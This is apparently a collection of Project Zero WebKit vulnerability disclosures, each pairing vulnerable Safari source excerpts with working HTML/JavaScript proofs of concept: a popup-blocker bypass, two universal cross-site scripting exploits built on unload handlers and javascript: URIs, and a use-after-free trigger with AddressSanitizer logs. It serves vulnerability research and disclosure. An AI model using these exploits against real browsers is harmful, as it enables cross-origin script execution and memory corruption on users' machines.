  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==26782==ABORTING
-->
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1050

The second argument of window.open is a name for the new window. If there's a frame that has same name, it will try to load the URL in that. If not, it just tries to create a new window and pop-up. But without the user's click event, its attempt will fail.

Here's some snippets.

RefPtr<DOMWindow> DOMWindow::open(const String& urlString, const AtomicString& frameName, const String& windowFeaturesString,
    DOMWindow& activeWindow, DOMWindow& firstWindow)
{
    ...
    ---------------- (1) -----------------------
    if (!firstWindow.allowPopUp()) { <<---- checks there's the user's click event.
        // Because FrameTree::find() returns true for empty strings, we must check for empty frame names.
        // Otherwise, illegitimate window.open() calls with no name will pass right through the popup blocker.
        if (frameName.isEmpty() || !m_frame->tree().find(frameName))
            return nullptr;
    }
    --------------------------------------------
    ...
    RefPtr<Frame> result = createWindow(urlString, frameName, parseWindowFeatures(windowFeaturesString), activeWindow, *firstFrame, *m_frame);
    return result ? result->document()->domWindow() : nullptr;
}


RefPtr<Frame> DOMWindow::createWindow(const String& urlString, const AtomicString& frameName, const WindowFeatures& windowFeatures, DOMWindow& activeWindow, Frame& firstFrame, Frame& openerFrame, std::function<void (DOMWindow&)> prepareDialogFunction)
{
    ...
    RefPtr<Frame> newFrame = WebCore::createWindow(*activeFrame, openerFrame, frameRequest, windowFeatures, created);
    if (!newFrame)
        return nullptr;

    ...
}

RefPtr<Frame> createWindow(Frame& openerFrame, Frame& lookupFrame, const FrameLoadRequest& request, const WindowFeatures& features, bool& created)
{
    ASSERT(!features.dialog || request.frameName().isEmpty());

    created = false;

    ---------------- (2) -----------------------
    if (!request.frameName().isEmpty() && request.frameName() != "_blank") {
        if (RefPtr<Frame> frame = lookupFrame.loader().findFrameForNavigation(request.frameName(), openerFrame.document())) {
            if (request.frameName() != "_self") {
                if (Page* page = frame->page())
                    page->chrome().focus();
            }
            return frame;
        }
    }
    --------------------------------------------

    <<<<<----------- failed to find the frame, creates a new one.
    ...
}

The logic of the code (1) depends on the assumption that if |m_frame->tree().find(frameName)| succeeds, |lookupFrame.loader().findFrameForNavigation| at (2) will also succeed. If we could make |m_frame->tree().find(frameName)| succeed but |lookupFrame.loader().findFrameForNavigation| fail, a new window will be created and popped up without the user's click event.



Let's look into |findFrameForNavigation|.

Frame* FrameLoader::findFrameForNavigation(const AtomicString& name, Document* activeDocument)
{
    Frame* frame = m_frame.tree().find(name);

    // FIXME: Eventually all callers should supply the actual activeDocument so we can call canNavigate with the right document.
    if (!activeDocument)
        activeDocument = m_frame.document();

    if (!activeDocument->canNavigate(frame))
        return nullptr;

    return frame;
}

bool Document::canNavigate(Frame* targetFrame)
{
    ...
    if (isSandboxed(SandboxNavigation)) { <<<--------------- (1)
        if (targetFrame->tree().isDescendantOf(m_frame))
            return true;

        const char* reason = "The frame attempting navigation is sandboxed, and is therefore disallowed from navigating its ancestors.";
        if (isSandboxed(SandboxTopNavigation) && targetFrame == &m_frame->tree().top())
            reason = "The frame attempting navigation of the top-level window is sandboxed, but the 'allow-top-navigation' flag is not set.";

        printNavigationErrorMessage(targetFrame, url(), reason);
        return false;
    }

    ...

    if (canAccessAncestor(securityOrigin(), targetFrame)) <<<------------------- (2)
        return true;

    ...

    return false;
}

There are two points to make |Document::canNavigate| return false.

(1). Using a sandboxed iframe.
<body>
<iframe name="one"></iframe>
<iframe id="two" sandbox="allow-scripts allow-same-origin allow-popups"></iframe>

<script>
function main() {
    two.eval('open("https://abc.xyz", "one");');
}

main()
</script>
</body>

(2). Using a cross-origin iframe.
-->

<body>
<iframe name="one"></iframe>

<script>
function main() {
    document.body.appendChild(document.createElement("iframe")).contentDocument.location =
        "data:text/html,<script>open('https://abc.xyz', 'one')</scri" + "pt>";
}

main()
</script>
</body>

<!--
Tested on Safari 10.0.2 (12602.3.12.0.1).
-->
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1049

When the new page is loading, FrameLoader::clear is called to clear the old document and window.

Here's a snippet of FrameLoader::clear.

void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
    ...
    // Do this after detaching the document so that the unload event works.
    if (clearWindowProperties) {
        InspectorInstrumentation::frameWindowDiscarded(m_frame, m_frame.document()->domWindow());
        m_frame.document()->domWindow()->resetUnlessSuspendedForDocumentSuspension();
        m_frame.script().clearWindowShell(newDocument->domWindow(), m_frame.document()->pageCacheState() == Document::AboutToEnterPageCache); <<-------- (1)

        if (shouldClearWindowName(m_frame, *newDocument))
            m_frame.tree().setName(nullAtom);
    }

    ...
    m_frame.setDocument(nullptr); <<-------- (2)
    ...
}

The new document's window is attached at (1) before calling |m_frame.setDocument(nullptr)| that calls unload event handlers. So in the unload event handler, we could execute arbitrary javascript code on new document's window with a javascript: URI.


Tested on Safari 10.0.2(12602.3.12.0.1).
-->

<body>
<script>

/*

Apple WebKit: UXSS via FrameLoader::clear

When the new page is loading, FrameLoader::clear is called to clear the old document and window.

Here's a snippet of FrameLoader::clear.

void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
    ...
    // Do this after detaching the document so that the unload event works.
    if (clearWindowProperties) {
        InspectorInstrumentation::frameWindowDiscarded(m_frame, m_frame.document()->domWindow());
        m_frame.document()->domWindow()->resetUnlessSuspendedForDocumentSuspension();
        m_frame.script().clearWindowShell(newDocument->domWindow(), m_frame.document()->pageCacheState() == Document::AboutToEnterPageCache); <<-------- (1)

        if (shouldClearWindowName(m_frame, *newDocument))
            m_frame.tree().setName(nullAtom);
    }

    ...
    m_frame.setDocument(nullptr); <<-------- (2)
    ...
}

The new document's window is attached at (1) before calling |m_frame.setDocument(nullptr)| that calls unload event handlers. So in the unload event handler, we could execute arbitrary javascript code on new document's window with a javascript: URI.


Tested on Safari 10.0.2(12602.3.12.0.1).
*/

"use strict";

function log(txt) {
    //if (Array.isArray(txt))
    //    txt = Array.prototype.join.call(txt, ", ");

    let c = document.createElement("div");
    c.innerText = "log: " + txt;
    d.appendChild(c);
}

function main() {
    let f = document.body.appendChild(document.createElement("iframe"));
    
    let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
    a.contentWindow.onunload = () => {
        let b = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
        b.contentWindow.onunload = () => {
            f.src = "javascript:''";

            let c = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
            c.contentWindow.onunload = () => {
                f.src = "javascript:''";

                let d = f.contentDocument.appendChild(document.createElement("iframe"));
                d.contentWindow.onunload = () => {
                    f.src = "javascript:setTimeout(eval(atob('" + btoa("(" +function () {
                        alert(document.location);
                    } + ")") + "')), 0);";
                };
            };
        };
    };

    f.src = "https://abc.xyz/";
}

main();

/*
b JSC::globalFuncParseFloat

*/
</script>
</body>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1057

Here's a snippet of Frame::setDocument.

void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);

    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction();

    m_doc = newDocument.copyRef();
    ...
}

Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.

PoC:
-->

"use strict";

let f = document.documentElement.appendChild(document.createElement("iframe"));
let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));

a.contentWindow.onunload = () => {
    f.src = "javascript:''";

    let b = f.contentDocument.appendChild(document.createElement("iframe"));
    b.contentWindow.onunload = () => {
        f.src = "javascript:''";

        let doc = f.contentDocument;

        f.onload = () => {
            f.onload = () => {
                f.onload = null;

                let s = doc.createElement("form");
                s.action = "javascript:alert(location)";
                s.submit();
            };

            f.src = "https://abc.xyz/";
        };

    };
};

f.src = "javascript:''";

<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1109

PoC:
-->

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let g = f.contentDocument.body.appendChild(document.createElement('iframe'));
g.contentWindow.onunload = () => {
    g.contentWindow.onunload = null;

    let h = f.contentDocument.body.appendChild(document.createElement('iframe'));
    h.contentWindow.onunload = () => {
        h.contentWindow.onunload = null;

        let a = f.contentDocument.createElement('a');
        a.href = 'about:blank';
        a.click();
    };
};

f.src = 'about:blank';

</script>
</body>

<!--
Asan Log:
=================================================================
==4096==ERROR: AddressSanitizer: heap-use-after-free on address 0x61a0000c0e58 at pc 0x00010da7af9b bp 0x7fff5aaa92d0 sp 0x7fff5aaa92c8
READ of size 8 at 0x61a0000c0e58 thread T0
    #0 0x10da7af9a in WebCore::FrameView::scheduleRelayout() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa7f9a)
    #1 0x10da6d069 in WebCore::FrameView::layout(bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa9a069)
    #2 0x10da82ea1 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaafea1)
    #3 0x10da82edf in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaafedf)
    #4 0x105629eea in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x4bfeea)
    #5 0x10ec4844b in WebCore::LayerFlushScheduler::layerFlushCallback() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1c7544b)
    #6 0x7fffd624c396 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7396)
    #7 0x7fffd624c306 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7306)
    #8 0x7fffd622c995 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87995)
    #9 0x7fffd57b8a5b in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30a5b)
    #10 0x7fffd57b8890 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30890)
    #11 0x7fffd57b86c5 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x306c5)
    #12 0x7fffd3d5e5b3 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x475b3)
    #13 0x7fffd44d8d6a in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x7c1d6a)
    #14 0x7fffd3d52f34 in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3bf34)
    #15 0x7fffd3d1d84f in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x684f)
    #16 0x7fffeb9e88c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x108c6)
    #17 0x7fffeb9e72e3 in xpc_main (/usr/lib/system/libxpc.dylib+0xf2e3)
    #18 0x105156b73 in main (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #19 0x7fffeb784254 in start (/usr/lib/system/libdyld.dylib+0x5254)

0x61a0000c0e58 is located 472 bytes inside of 1232-byte region [0x61a0000c0c80,0x61a0000c1150)
freed by thread T0 here:
    #0 0x108730cf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x10ad4a73f in bmalloc::Deallocator::deallocateSlowCase(void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18fd73f)
    #2 0x10f448eee in WTF::RefPtr<WebCore::Widget>::operator=(std::nullptr_t) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2475eee)
    #3 0x10f447ab9 in WebCore::RenderWidget::setWidget(WTF::RefPtr<WebCore::Widget>&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2474ab9)
    #4 0x10da26c7e in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa53c7e)
    #5 0x10578df3b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x623f3b)
    #6 0x10da3d6ff in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6a6ff)
    #7 0x10da3c7d3 in WebCore::FrameLoader::commitProvisionalLoad() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa697d3)
    #8 0x10d737bd7 in WebCore::DocumentLoader::finishedLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x764bd7)
    #9 0x10d73fd0e in WebCore::DocumentLoader::maybeLoadEmpty() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x76cd0e)
    #10 0x10d7400d5 in WebCore::DocumentLoader::startLoadingMainResource() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x76d0d5)
    #11 0x10da40c31 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6dc31)
    #12 0x10da3a673 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WebCore::FormState*, bool, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa67673)
    #13 0x10efb4805 in std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>::operator()(WebCore::ResourceRequest const&, WebCore::FormState*, bool) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe1805)
    #14 0x10efb465f in WebCore::PolicyCallback::call(bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe165f)
    #15 0x10efb5fba in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe2fba)
    #16 0x1057781ee in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60e1ee)
    #17 0x105778046 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60e046)
    #18 0x1057880aa in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WebCore::FormState*, std::__1::function<void (WebCore::PolicyAction)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x61e0aa)
    #19 0x10efb5a59 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WebCore::FormState*, std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe2a59)
    #20 0x10da3951f in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6651f)
    #21 0x10da38236 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa65236)
    #22 0x10da34b51 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa61b51)
    #23 0x10da2e040 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5b040)
    #24 0x10da2d5c9 in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5a5c9)
    #25 0x10ee94e8c in WebCore::ScheduledLocationChange::fire(WebCore::Frame&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1ec1e8c)
    #26 0x10ee9176f in WebCore::NavigationScheduler::timerFired() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1ebe76f)
    #27 0x10fa4c971 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2a79971)
    #28 0x10ecaa46f in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1cd746f)
    #29 0x7fffd6236243 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x91243)

previously allocated by thread T0 here:
    #0 0x108730790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fffeb9062d9 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x22d9)
    #2 0x10ad54154 in bmalloc::DebugHeap::malloc(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1907154)
    #3 0x10ad494fb in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18fc4fb)
    #4 0x10ace0e95 in bmalloc::Allocator::allocate(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1893e95)
    #5 0x10ace0178 in WTF::fastMalloc(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1893178)
    #6 0x10da65109 in WebCore::FrameView::create(WebCore::Frame&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa92109)
    #7 0x10da26b5c in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa53b5c)
    #8 0x10578df3b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x623f3b)
    #9 0x10da3d6ff in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6a6ff)
    #10 0x10da3c7d3 in WebCore::FrameLoader::commitProvisionalLoad() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa697d3)
    #11 0x10d737bd7 in WebCore::DocumentLoader::finishedLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x764bd7)
    #12 0x10d73fd0e in WebCore::DocumentLoader::maybeLoadEmpty() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x76cd0e)
    #13 0x10d7400d5 in WebCore::DocumentLoader::startLoadingMainResource() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x76d0d5)
    #14 0x10da40c31 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6dc31)
    #15 0x10da3a673 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WebCore::FormState*, bool, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa67673)
    #16 0x10efb4805 in std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>::operator()(WebCore::ResourceRequest const&, WebCore::FormState*, bool) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe1805)
    #17 0x10efb465f in WebCore::PolicyCallback::call(bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe165f)
    #18 0x10efb5fba in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe2fba)
    #19 0x1057781ee in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60e1ee)
    #20 0x105778046 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60e046)
    #21 0x1057880aa in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WebCore::FormState*, std::__1::function<void (WebCore::PolicyAction)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x61e0aa)
    #22 0x10efb5a59 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WebCore::FormState*, std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe2a59)
    #23 0x10da3951f in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6651f)
    #24 0x10da38236 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa65236)
    #25 0x10da34b51 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa61b51)
    #26 0x10da2e040 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5b040)
    #27 0x10da2d5c9 in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5a5c9)
    #28 0x10da2d84a in WebCore::FrameLoader::urlSelected(WebCore::URL const&, WTF::String const&, WebCore::Event*, WebCore::LockHistory, WebCore::LockBackForwardList, WebCore::ShouldSendReferrer, WebCore::ShouldOpenExternalURLsPolicy, std::optional<WebCore::NewFrameOpenerPolicy>, WTF::AtomicString const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5a84a)
    #29 0x10db97108 in WebCore::HTMLAnchorElement::handleClick(WebCore::Event&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbc4108)

SUMMARY: AddressSanitizer: heap-use-after-free (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa7f9a) in WebCore::FrameView::scheduleRelayout()
Shadow bytes around the buggy address:
  0x1c3400018170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3400018180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3400018190: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c34000181a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c34000181b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x1c34000181c0: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
  0x1c34000181d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c34000181e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c34000181f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018210: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==4096==ABORTING

Tested on Safari 10.0.3(12602.4.8).
-->